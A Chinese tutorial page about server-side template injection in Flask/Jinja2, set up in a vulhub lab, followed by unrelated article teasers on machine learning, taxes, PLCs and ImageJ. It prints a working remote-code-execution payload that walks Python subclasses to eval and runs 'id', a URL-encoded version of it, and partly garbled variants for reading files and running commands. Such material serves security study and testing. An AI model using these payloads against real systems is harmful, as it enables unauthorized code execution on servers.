news 2026/10/29 13:22:34

【Flask(Jinja2)服务端模板注入漏洞】

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【Flask(Jinja2)服务端模板注入漏洞】

一、SSTI漏洞概述

服务端模板注入(Server-Side Template Injection,SSTI)是一种发生在Web应用程序中的安全漏洞,攻击者能够向模板引擎注入恶意模板代码,从而在服务器端执行任意代码。

二、Flask介绍

Flask是一个流行的Python Web框架,使用Jinja2作为其模板引擎。当用户输入未经适当过滤就直接在Jinja2模板中渲染时,可能会导致服务端模板注入(SSTI)漏洞,进而可能导致远程代码执行。
Flask应用的结构:

三、环境搭建

从vulhub中拉取漏洞镜像。

https://vulhub.org/zh

环境启动后,访问http://your-ip:8000/即可查看到默认页面。

四、漏洞详情

首先,访问以下URL验证SSTI漏洞是否存在:

http://localhost:8000/?name={{7*7}}

看到结果是49要实现远程代码执行,可以使用以下POC获取eval函数并执行任意Python代码:

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

替换恶意代码即可实现更多攻击
只需修改最后一步eval中的字符串,就能实现任意攻击行为,比如:
读取服务器敏感文件:{{ b’eval’ }}
执行其他系统命令:{{ b’eval’ }}
查看服务器网络配置:{{ b[‘eval’](‘import(“os”).popen(“ip addr”).read()’) }}

http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

免责声明:

本公众号分享的网络安全工具与资料仅用于合法授权的教育、研究、安全测试及防御目的。任何使用者应确保其行为符合《网络安全法》等相关法律法规,严禁用于任何非法或未授权访问。

所有工具与实验均存在一定风险,请在具备相应知识或专业人员指导下,于自有或已获授权的环境中测试。因使用、传播相关内容而产生的任何直接或间接后果,本公众号及作者概不承担责任。

请务必在法律允许范围内,安全、负责地使用技术。

参考链接:

  • https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
  • http://rickgray.me/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/28 14:24:56

超越筛选:Scikit-learn特征选择API的深度实践与创新融合

好的,这是一篇关于Scikit-learn特征选择API的深度技术文章,旨在为开发者提供超越基础教程的见解和实战技巧。超越筛选:Scikit-learn特征选择API的深度实践与创新融合 引言:特征选择的“道”与“器” 在机器学习项目中,…

作者头像 李华
网站建设 2026/10/24 2:57:37

STM320F28377D创建CPU2工程并双核运行

STM320F28377D创建CPU2工程并双核运行 点击,File->New->Project 选择CCS Project 填写型号、仿真器类型和项目名称。 处理选项

作者头像 李华
网站建设 2026/10/28 7:53:25

你要交哪些税?一文理清我国18个实体税种

目录 一、增值税,几乎所有企业都逃不开。 1、一般纳税人 2、小规模纳税人就不一样了 二、消费税 三、关税 四、企业所得税 五、个人所得税 六、房产税 七、城镇土地使用税 八、契税 九、印花税 十、车辆购置税 十一、车船税 十二、船舶吨税 十三、资…

作者头像 李华
网站建设 2026/10/23 9:42:55

24. LAD和STL编程形式的区别

24. LAD和STL编程形式的区别PLC的LAD(梯形图)和STL(语句表)是两种最常用的编程形式,它们在表现形式、特点和适用性上存在显著区别,但可以相互关联。具体区别和联系如下:一、核心区别特性LAD&…

作者头像 李华
网站建设 2026/10/28 3:09:50

Image J同时自动计算多张图片的颗粒粒径

在上期教程中,我们分享了如何使用ImageJ计算颗粒粒径及绘制粒径分布图,但是整个处理过程需要自己动手画直径,这样比较麻烦,而且计算过程具有一定的主观性。另外,当需要处理多张图片的颗粒粒径时,效率非常低…

作者头像 李华